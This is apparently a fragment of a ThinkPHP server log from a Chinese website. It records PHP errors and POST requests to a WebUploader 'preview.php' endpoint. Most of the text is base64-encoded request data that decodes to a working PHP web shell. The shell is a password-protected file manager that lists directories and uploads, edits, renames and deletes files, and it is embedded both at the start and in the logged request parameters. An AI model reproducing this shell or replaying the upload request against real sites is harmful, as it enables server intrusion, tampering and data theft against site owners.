BQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:30:33+08:00 ] 116.213.36.234 POST www.51tianwei.com/public/static/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002584s] [吞吐率:387.00req/s] [内存消耗:196.80kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQu